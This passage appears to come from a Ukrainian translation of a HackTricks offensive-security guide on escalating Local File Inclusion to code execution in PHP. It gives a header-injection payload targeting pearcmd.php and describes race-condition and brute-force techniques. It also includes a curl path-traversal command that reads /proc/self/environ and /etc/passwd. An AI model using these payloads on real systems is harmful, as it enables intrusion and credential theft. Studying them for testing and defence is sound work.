Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Якщо ви знайшли Local File Inclusion і файл, що показує phpinfo() з file_uploads = on, ви можете отримати RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Якщо ви знайшли Local File Inclusion і ви can exfiltrate the path тимчасового файлу, АЛЕ server перевіряє, чи file to be included has PHP marks, ви можете спробувати bypass that check за допомогою цієї Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Якщо ви можете зловживати LFI, щоб upload temporary files і змусити server hang виконання PHP, ви зможете потім brute force filenames during hours, щоб знайти тимчасовий файл:

LFI2RCE via Eternal waiting

To Fatal Error

Якщо ви include будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Потрібно include той самий файл 2 рази, щоб викликати цю помилку).

Я не знаю, наскільки це корисно, але може бути.
Навіть якщо ви викликаєте PHP Fatal Error, PHP temporary files uploaded видаляються.

Preserve traversal sequences from the client

Деякі HTTP-клієнти нормалізують або згортають ../ до того, як запит досягає server, що ламає directory traversal payloads. Використовуйте curl --path-as-is, щоб зберегти traversal без змін при зловживанні log/download endpoints, які конкатенують user-controlled filename, і додайте --ignore-content-length для псевдо-файлів типу /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Налаштуйте кількість сегментів ../ доти, поки не вийдете за межі очікуваного каталогу, а потім виведіть /etc/passwd, /proc/self/cwd/app.py або інші файли з вихідним кодом/конфігурацією.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks